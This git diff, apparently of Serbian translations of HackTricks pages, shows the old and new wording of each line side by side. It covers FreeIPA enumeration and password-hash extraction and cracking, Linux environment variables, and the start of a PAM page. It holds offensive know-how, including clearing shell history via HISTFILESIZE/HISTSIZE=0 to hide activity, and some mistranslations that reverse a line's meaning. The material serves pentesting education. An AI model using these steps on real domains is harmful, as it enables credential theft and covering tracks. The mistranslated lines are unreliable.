Keytab fajlovi, koji sadrže Kerberos principe i šifrovane ključeve, su ključni za dobijanje validnih tiketa za dodelu ključeva (TGT) bez potrebe za korisnikovom lozinkom. Parsiranje i ponovna upotreba akreditiva iz keytab fajlova se lako može izvršiti pomoću alatki poput `klist` i skripti poput **KeytabParser**. Keytab datoteke, koje sadrže Kerberos principe i enkriptovane ključeve, su ključne za dobijanje važećih tiketa za dodelu (TGT) bez potrebe za lozinkom principa. Parsiranje i ponovna upotreba kredencijala iz keytab datoteka može se lako izvršiti pomoću alata kao što su `klist` i skripti kao što je **KeytabParser**.
### Šifarnik ### Cheatsheet
Više informacija o korišćenju tiketa u linuxu možete pronaći na sledećem linku: Možete pronaći više informacija o tome kako koristiti tikete u linuxu na sledećem linku:
{% content-ref url="privilege-escalation/linux-active-directory.md" %} {% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md) [linux-active-directory.md](privilege-escalation/linux-active-directory.md)
{% endcontent-ref %} {% endcontent-ref %}
## Enumeracija ## Enumeration
{% hint style="warning" %} {% hint style="warning" %}
Možete izvršiti **enumeraciju** putem **ldap-a** i drugih **binarnih** alata, ili **povezivanjem na veb stranicu na portu 443 FreeIPA servera**. Možete izvršiti **enumeraciju** putem **ldap** i drugih **binarnih** alata, ili **povezivanjem na veb stranicu na portu 443 FreeIPA servera**.
{% endhint %} {% endhint %}
### Hostovi, Korisnici i Grupe <a href="#id-4b3b" id="id-4b3b"></a> ### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
Moguće je kreirati **hostove**, **korisnike** i **grupe**. Hostovi i korisnici su smešteni u kontejnere nazvane “**Host Grupe**” i “**User Grupe**” respektivno. Ovi su slični **Organizacionim Jedinicama** (OU). Moguće je kreirati **hostove**, **korisnike** i **grupe**. Hostovi i korisnici su raspoređeni u kontejnere nazvane “**Host Groups**” i “**User Groups**” respektivno. Ovi su slični **Organizacijskim jedinicama** (OU).
Podrazumevano u FreeIPA, LDAP server dozvoljava **anonimne bindove**, i veliki deo podataka je enumerabilan **neautentifikovan**. Ovo može enumerisati sve dostupne podatke neautentifikovano: Podrazumevano u FreeIPA, LDAP server omogućava **anonimne veze**, a veliki deo podataka je enumerabilan **neautentifikovano**. Ovo može enumerisati sve dostupne podatke neautentifikovano:
``` ```
ldapsearch -x ldapsearch -x
``` ```
Da biste dobili **više informacija**, morate koristiti **autentifikovanu** sesiju (proverite odeljak o Autentifikaciji kako biste saznali kako da pripremite autentifikovanu sesiju). Da biste dobili **više informacija**, potrebno je da koristite **autentifikovanu** sesiju (proverite odeljak o autentifikaciji da biste saznali kako da pripremite autentifikovanu sesiju).
```bash ```bash
# Get all users of domain # Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups # Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
``` ```
Sa računara pridruženog domenu moći ćete koristiti **instalirane binarne datoteke** za enumeraciju domena: Sa mašine koja je pridružena domenu moći ćete da koristite **instalirane binarne datoteke** za enumeraciju domena:
```bash ```bash
ipa user-find ipa user-find
ipa usergroup-find ipa usergroup-find
@ -102,33 +103,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all ipa hostgroup-show <host group> --all
``` ```
{% hint style="info" %} {% hint style="info" %}
Korisnik **admin** u **FreeIPA**-i je ekvivalentan **domain admin**-ima iz **AD**-a. Korisnik **admin** u **FreeIPA** je ekvivalent **domenama admina** iz **AD**.
{% endhint %} {% endhint %}
### Hesovi <a href="#id-482b" id="id-482b"></a> ### Hashes <a href="#id-482b" id="id-482b"></a>
Korisnik **root** sa **IPA servera** ima pristup hesovima lozinki. Korisnik **root** sa **IPA servera** ima pristup lozinkama **hash**.
* Hes lozinke korisnika je sačuvan kao **base64** u atributu “**userPassword**”. Ovaj hes može biti **SSHA512** (stare verzije FreeIPA) ili **PBKDF2\_SHA256**. * Hash lozinke korisnika se čuva kao **base64** u atributu “**userPassword**”. Ovaj hash može biti **SSHA512** (stare verzije FreeIPA) ili **PBKDF2\_SHA256**.
* **Nthash** lozinke je sačuvan kao **base64** u “**ipaNTHash**” ako sistem ima **integraciju** sa **AD**-om. * **Nthash** lozinke se čuva kao **base64** u “**ipaNTHash**” ako sistem ima **integraciju** sa **AD**.
Da biste probili ove hesove: Da biste probili ove hash:
• Ako je FreeIPA integrisan sa AD-om, **ipaNTHash** je lako probiti: Treba da **dekodirate** **base64** -> ponovo kodirate kao **ASCII** heks -> John The Ripper ili **hashcat** vam mogu pomoći da ga brzo probijete • Ako je freeIPA integrisan sa AD, **ipaNTHash** je lako probiti: Trebalo bi da **dekodirate** **base64** -> ponovo kodirate kao **ASCII** hex -> John The Ripper ili **hashcat** vam mogu pomoći da ga brzo probijete
• Ako se koristi stara verzija FreeIPA, pa se koristi **SSHA512**: Treba da dekodirate **base64** -> pronađete SSHA512 **hes** -> John The Ripper ili **hashcat** vam mogu pomoći da ga probijete • Ako se koristi stara verzija FreeIPA, onda se koristi **SSHA512**: Trebalo bi da dekodirate **base64** -> pronađete SSHA512 **hash** -> John The Ripper ili **hashcat** vam mogu pomoći da ga probijete
• Ako se koristi nova verzija FreeIPA, pa se koristi **PBKDF2\_SHA256**: Treba da dekodirate **base64** -> pronađete PBKDF2\_SHA256 -> njegova **dužina** je 256 bajtova. John može raditi sa 256 bita (32 bajta) -> SHA-265 se koristi kao pseudo-slučajna funkcija, veličina bloka je 32 bajta -> možete koristiti samo prvih 256 bita našeg PBKDF2\_SHA256 hesa -> John The Ripper ili hashcat vam mogu pomoći da ga probijete • Ako se koristi nova verzija FreeIPA, onda se koristi **PBKDF2\_SHA256**: Trebalo bi da dekodirate **base64** -> pronađete PBKDF2\_SHA256 -> njegova **dužina** je 256 bajta. John može raditi sa 256 bita (32 bajta) -> SHA-265 se koristi kao pseudo-random funkcija, veličina bloka je 32 bajta -> možete koristiti samo prvih 256 bita našeg PBKDF2\_SHA256 hash -> John The Ripper ili hashcat vam mogu pomoći da ga probijete
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
Da biste izvukli hesove, morate biti **root na FreeIPA serveru**, tamo možete koristiti alatku **`dbscan`** da ih izvučete: Da biste izvukli hash, morate biti **root na FreeIPA serveru**, tamo možete koristiti alat **`dbscan`** da ih izvučete:
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### HBAC-Pravila <a href="#id-482b" id="id-482b"></a> ### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
Ovo su pravila koja dodeljuju specifična ovlašćenja korisnicima ili hostovima nad resursima (hostovi, servisi, grupe servisa...). To su pravila koja dodeljuju specifične dozvole korisnicima ili hostovima nad resursima (hostovi, usluge, grupe usluga...)
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -137,9 +138,9 @@ ipa hbacrule-find
# Show info of rule # Show info of rule
ipa hbacrule-show <hbacrule> --all ipa hbacrule-show <hbacrule> --all
``` ```
#### Sudo-pravila #### Sudo-Rules
FreeIPA omogućava centralizovanu kontrolu nad **sudo dozvolama** putem sudo-pravila. Ova pravila omogućavaju ili ograničavaju izvršavanje komandi sa sudo-om na hostovima unutar domena. Napadač bi potencijalno mogao identifikovati primenljive hostove, korisnike i dozvoljene komande pregledom ovih setova pravila. FreeIPA omogućava centralizovanu kontrolu nad **sudo dozvolama** putem sudo pravila. Ova pravila omogućavaju ili ograničavaju izvršavanje komandi sa sudo na hostovima unutar domena. Napadač bi potencijalno mogao da identifikuje primenljive hostove, korisnike i dozvoljene komande ispitujući ove skupove pravila.
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -148,17 +149,17 @@ ipa sudorule-find
# Show info of rule # Show info of rule
ipa sudorule-show <sudorule> --all ipa sudorule-show <sudorule> --all
``` ```
### Kontrola pristupa zasnovana na ulogama ### Kontrola pristupa zasnovana na rolama
**Uloga** se sastoji od različitih **privilegija**, od kojih svaka obuhvata kolekciju **dozvola**. Ove uloge mogu biti dodeljene korisnicima, korisničkim **grupama**, **računarima**, grupama računara i uslugama. Na primer, razmotrite podrazumevanu ulogu "Administrator korisnika" u sistemu FreeIPA da biste ilustrovali ovu strukturu. **Uloga** se sastoji od različitih **privilegija**, od kojih svaka obuhvata skup **dozvola**. Ove uloge mogu biti dodeljene korisnicima, grupama korisnika, **hostovima**, grupama hostova i uslugama. Na primer, uzmite u obzir podrazumevanu ulogu “Administrator korisnika” u FreeIPA kao primer ove strukture.
Uloga `Administrator korisnika` ima sledeće privilegije: Uloga `Administrator korisnika` ima sledeće privilegije:
- **Administratori korisnika** * **Administratori korisnika**
- **Administratori grupa** * **Administratori grupa**
- **Administratori faze korisnika** * **Administratori korisnika na sceni**
Pomoću sledećih komandi moguće je nabrojati uloge, privilegije i dozvole: Pomoću sledećih komandi moguće je enumerisati uloge, privilegije i dozvole:
```bash ```bash
# Using ldap # Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -170,44 +171,45 @@ ipa privilege-show <privilege> --all
ipa permission-find ipa permission-find
ipa permission-show <permission> --all ipa permission-show <permission> --all
``` ```
### Primer napadačkog scenarija ### Attack Scenario Example
U [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) možete pronaći jednostavan primer kako zloupotrebiti određene dozvole da biste kompromitovali domen. U [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) možete pronaći jednostavan primer kako zloupotrebiti neka prava da biste kompromitovali domen.
### Linikatz/LinikatzV2 ### Linikatz/LinikatzV2
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2) * [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz) * [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Eskalacija privilegija ## Privesc
### ~~kreiranje korisnika root~~ ### ~~kreiranje root korisnika~~
{% hint style="warning" %} {% hint style="warning" %}
Ako možete **kreirati novog korisnika sa imenom `root`**, možete se predstaviti kao on i moći ćete **SSH-ovati na bilo koju mašinu kao root.** Ako možete **napraviti novog korisnika sa imenom `root`**, možete se pretvarati da ste on i moći ćete da **SSH-ujete na bilo koju mašinu kao root.**
**OVO JE POPRAVLJENO.** **OVO JE ISPRAVLJENO.**
{% endhint %} {% endhint %}
Detaljno objašnjenje možete pronaći na [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) Možete proveriti detaljno objašnjenje u [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
## Reference ## References
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) * [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) * [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Linux Environment Variables # Linux Environment Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,30 +23,30 @@ Drugi načini podrške HackTricks-u:
*** ***
## Globalne promenljive ## Global variables
Globalne promenljive **će biti** nasleđene od **procesa potomaka**. Globalne promenljive **će biti** nasledjene od **dečijih procesa**.
Možete kreirati globalnu promenljivu za vašu trenutnu sesiju koristeći: Možete kreirati globalnu promenljivu za vašu trenutnu sesiju tako što ćete:
```bash ```bash
export MYGLOBAL="hello world" export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world echo $MYGLOBAL #Prints: hello world
``` ```
Ova promenljiva će biti dostupna vašim trenutnim sesijama i njihovim potomcima. Ova promenljiva će biti dostupna vašim trenutnim sesijama i njenim podprocesima.
Možete **ukloniti** promenljivu tako što ćete: Možete **ukloniti** promenljivu koristeći:
```bash ```bash
unset MYGLOBAL unset MYGLOBAL
``` ```
## Lokalne promenljive ## Lokalne promenljive
**Lokalne promenljive** mogu biti **pristupljene** samo od strane **trenutne ljuske/skripte**. **Lokalne promenljive** mogu biti **pristupne** samo od strane **trenutne ljuske/skripte**.
```bash ```bash
LOCAL="my local" LOCAL="my local"
echo $LOCAL echo $LOCAL
unset LOCAL unset LOCAL
``` ```
## Lista trenutnih promenljivih ## Lista trenutnih varijabli
```bash ```bash
set set
env env
@ -53,45 +54,45 @@ printenv
cat /proc/$$/environ cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ
``` ```
## Zajedničke promenljive ## Common variables
Sa: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** prikaz koji koristi **X**. Ova promenljiva obično ima vrednost **:0.0**, što znači prvi prikaz na trenutnom računaru. * **DISPLAY** prikaz koji koristi **X**. Ova promenljiva je obično postavljena na **:0.0**, što znači prvi prikaz na trenutnom računaru.
* **EDITOR** preferirani tekst editor korisnika. * **EDITOR** korisnikov omiljeni tekstualni editor.
* **HISTFILESIZE** maksimalan broj linija sadržanih u datoteci istorije. * **HISTFILESIZE** maksimalan broj linija sadržanih u datoteci istorije.
* **HISTSIZE** Broj linija dodatih u datoteku istorije kada korisnik završi sesiju. * **HISTSIZE** Broj linija dodatih u datoteku istorije kada korisnik završi svoju sesiju.
* **HOME** vaš matični direktorijum. * **HOME** vaš početni direktorijum.
* **HOSTNAME** ime računara. * **HOSTNAME** ime računara.
* **LANG** vaš trenutni jezik. * **LANG** vaš trenutni jezik.
* **MAIL** lokacija poštanskog sandučeta korisnika. Obično **/var/spool/mail/USER**. * **MAIL** lokacija korisničkog poštanskog spremnika. Obično **/var/spool/mail/USER**.
* **MANPATH** lista direktorijuma za pretragu stranica priručnika. * **MANPATH** lista direktorijuma za pretragu priručnika.
* **OSTYPE** tip operativnog sistema. * **OSTYPE** tip operativnog sistema.
* **PS1** podrazumevani znak za unos u bash-u. * **PS1** podrazumevani prompt u bash-u.
* **PATH** čuva putanje svih direktorijuma koji sadrže binarne datoteke koje želite da izvršite samo navođenjem imena datoteke, a ne relativne ili apsolutne putanje. * **PATH** čuva putanju svih direktorijuma koji sadrže binarne datoteke koje želite da izvršite samo navođenjem imena datoteke, a ne relativnom ili apsolutnom putanjom.
* **PWD** trenutni radni direktorijum. * **PWD** trenutni radni direktorijum.
* **SHELL** putanja do trenutne komandne ljuske (na primer, **/bin/bash**). * **SHELL** putanja do trenutne komandne ljuske (na primer, **/bin/bash**).
* **TERM** trenutni tip terminala (na primer, **xterm**). * **TERM** trenutna vrsta terminala (na primer, **xterm**).
* **TZ** vaša vremenska zona. * **TZ** vaša vremenska zona.
* **USER** vaše trenutno korisničko ime. * **USER** vaše trenutno korisničko ime.
## Interesantne promenljive za hakovanje ## Interesting variables for hacking
### **HISTFILESIZE** ### **HISTFILESIZE**
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, datoteka istorije (\~/.bash\_history) **će biti obrisana**. Promenite **vrednost ove promenljive na 0**, tako da kada **završite svoju sesiju** **datoteka istorije** (\~/.bash\_history) **će biti obrisana**.
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
Promenite **vrednost ove promenljive na 0**, tako da kada **završite sesiju**, bilo koja komanda neće biti dodata u **istorijski fajl** (\~/.bash\_history). Promenite **vrednost ove promenljive na 0**, tako da kada **završite svoju sesiju** bilo koja komanda bude dodata u **datoteku istorije** (\~/.bash\_history).
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
### http\_proxy & https\_proxy ### http\_proxy & https\_proxy
Procesi će koristiti **proxy** koji je ovde deklarisan da bi se povezali na internet preko **http ili https**. Procesi će koristiti **proxy** deklarisan ovde da se povežu na internet putem **http ili https**.
```bash ```bash
export http_proxy="http://10.10.10.10:8080" export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080"
@ -117,11 +118,11 @@ Običan korisnik:
![](<../.gitbook/assets/image (740).png>) ![](<../.gitbook/assets/image (740).png>)
Jedan, dva i tri pozadinski poslovi: Jedan, dva i tri pozadinska zadatka:
![](<../.gitbook/assets/image (145).png>) ![](<../.gitbook/assets/image (145).png>)
Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završena ispravno: Jedan pozadinski zadatak, jedan zaustavljen i poslednja komanda nije završena ispravno:
![](<../.gitbook/assets/image (715).png>) ![](<../.gitbook/assets/image (715).png>)
@ -131,16 +132,17 @@ Jedan pozadinski posao, jedan zaustavljen i poslednja komanda nije završena isp
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite vašu **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# PAM - Pluggable Authentication Modules # PAM - Pluggable Authentication Modules
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **stealer malvera**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
### Osnovne Informacije ### Basic Information
**PAM (Pluggable Authentication Modules)** deluje kao mehanizam bezbednosti koji **verifikuje identitet korisnika koji pokušavaju da pristupe računarskim uslugama**, kontrolišući njihov pristup na osnovu različitih kriterijuma. To je slično digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok potencijalno ograničava njihovo korišćenje kako bi se sprečili preopterećenja sistema. **PAM (Pluggable Authentication Modules)** deluje kao bezbednosni mehanizam koji **proverava identitet korisnika koji pokušavaju da pristupe računarstvu**, kontrolišući njihov pristup na osnovu različitih kriterijuma. Slično je digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok potencijalno ograničavaju njihovu upotrebu kako bi se sprečilo preopterećenje sistema.
#### Konfiguracioni Fajlovi #### Configuration Files
